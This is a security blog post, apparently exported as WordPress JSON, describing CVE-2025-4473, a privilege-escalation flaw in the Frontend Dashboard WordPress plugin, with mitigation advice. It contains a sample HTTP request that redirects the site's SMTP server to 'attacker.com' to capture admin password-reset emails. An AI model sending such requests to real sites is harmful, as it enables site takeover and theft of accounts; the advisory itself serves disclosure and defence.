{"id":41051,"date":"2025-05-20T12:46:25","date_gmt":"2025-05-20T12:46:25","guid":{"rendered":""},"modified":"2025-07-05T11:24:57","modified_gmt":"2025-07-05T17:24:57","slug":"cve-2025-4473-privilege-escalation-vulnerability-in-frontend-dashboard-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4473-privilege-escalation-vulnerability-in-frontend-dashboard-wordpress-plugin\/","title":{"rendered":"<strong>CVE-2025-4473: Privilege Escalation Vulnerability in Frontend Dashboard WordPress Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity realm is constantly evolving with newer threats and vulnerabilities emerging every day. One such vulnerability, identified as CVE-2025-4473, affects the Frontend Dashboard plugin for WordPress. This plugin is widely used for managing the frontend view of WordPress websites, and the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-34333-critical-vulnerability-in-ami-s-spx-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"48746\">vulnerability can potentially<\/a> affect a massive number of websites worldwide.<br \/>\nThe vulnerability stems from a missing capability check in the ajax_request() function, which can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3605-privilege-escalation-vulnerability-in-frontend-login-and-registration-blocks-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"46138\">Privilege Escalation<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43563-coldfusion-improper-access-control-vulnerability-allowing-unauthorized-file-system-read\/\"  data-wpil-monitor-id=\"49451\">allows attackers with minimal Subscriber-level access<\/a> to manipulate where the plugin sends outgoing emails, potentially leading to a full site takeover. Given WordPress&#8217;s popularity and broad usage, this vulnerability poses a significant <a href=\"https:\/\/www.ameeba.com\/blog\/escalating-cyber-risks-how-businesses-and-governments-are-fortifying-digital-defenses\/\"  data-wpil-monitor-id=\"48747\">risk to many online businesses<\/a> and blogs.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4473<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level access)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44898-critical-stack-overflow-vulnerability-in-fw-wgs-804hpt-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"52660\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2668164372\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4474-privilege-escalation-vulnerability-in-frontend-dashboard-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"48745\">Frontend Dashboard WordPress Plugin<\/a> | 1.0 to 2.2.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by targeting the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"59230\">Frontend Dashboard plugin&#8217;s<\/a> ajax_request() function. This function doesn&#8217;t have a proper capability check, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48340-critical-csrf-vulnerability-in-danny-vink-user-profile-meta-manager-allows-privilege-escalation\/\"  data-wpil-monitor-id=\"52877\">allowing even Subscriber-level users<\/a> to modify SMTP settings. An attacker can thus <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47297-dangerous-settings-manipulation-vulnerability-in-ncr-terminal-handler-v1-5-1\/\"  data-wpil-monitor-id=\"63954\">manipulate these settings<\/a> to redirect outgoing emails to their server. If these emails contain password reset links for administrators, the attacker can access them, reset the admin passwords, and gain full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25010-critical-vulnerability-in-ericsson-ran-compute-and-site-controller-6610\/\"  data-wpil-monitor-id=\"53664\">control of the site<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2829416650\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This is a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"62952\">attacker might exploit<\/a> the vulnerability. This could be done through a malicious AJAX request, like the one shown below:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-admin\/admin-ajax.php HTTP\/1.1\nHost: targetsite.com\nContent-Type: application\/x-www-form-urlencoded\naction=fd_ajax_request&amp;fd_smtp_server=attacker.com<\/code><\/pre>\n<p>In this example, `fd_ajax_request` is the AJAX <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47933-arbitrary-actions-and-cross-site-scripting-vulnerability-in-argo-cd\/\"  data-wpil-monitor-id=\"58459\">action tied to the vulnerable<\/a> function, and `fd_smtp_server` is the setting that the attacker is trying to manipulate. The attacker sets it to their own server (`attacker.com`) to capture outgoing emails.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Website administrators using the Frontend Dashboard plugin are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45984-critical-command-injection-vulnerability-detected-in-blink-routers\/\"  data-wpil-monitor-id=\"62951\">detect and block attempts to exploit this vulnerability<\/a>. Regularly reviewing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33117-privileged-user-vulnerability-in-ibm-qradar-siem\/\"  data-wpil-monitor-id=\"62950\">user privileges<\/a> and ensuring that they align with the principle of least privilege can also help mitigate this and other similar risks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity realm is constantly evolving with newer threats and vulnerabilities emerging every day. One such vulnerability, identified as CVE-2025-4473, affects the Frontend Dashboard plugin for WordPress. This plugin is widely used for managing the frontend view of WordPress websites, and the vulnerability can potentially affect a massive number of websites worldwide. The vulnerability [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-41051","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41051","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=41051"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41051\/revisions"}],"predecessor-version":[{"id":57505,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/41051\/revisions\/57505"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=41051"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=41051"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=41051"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=41051"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=41051"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=41051"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=41051"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=41051"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=41051"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}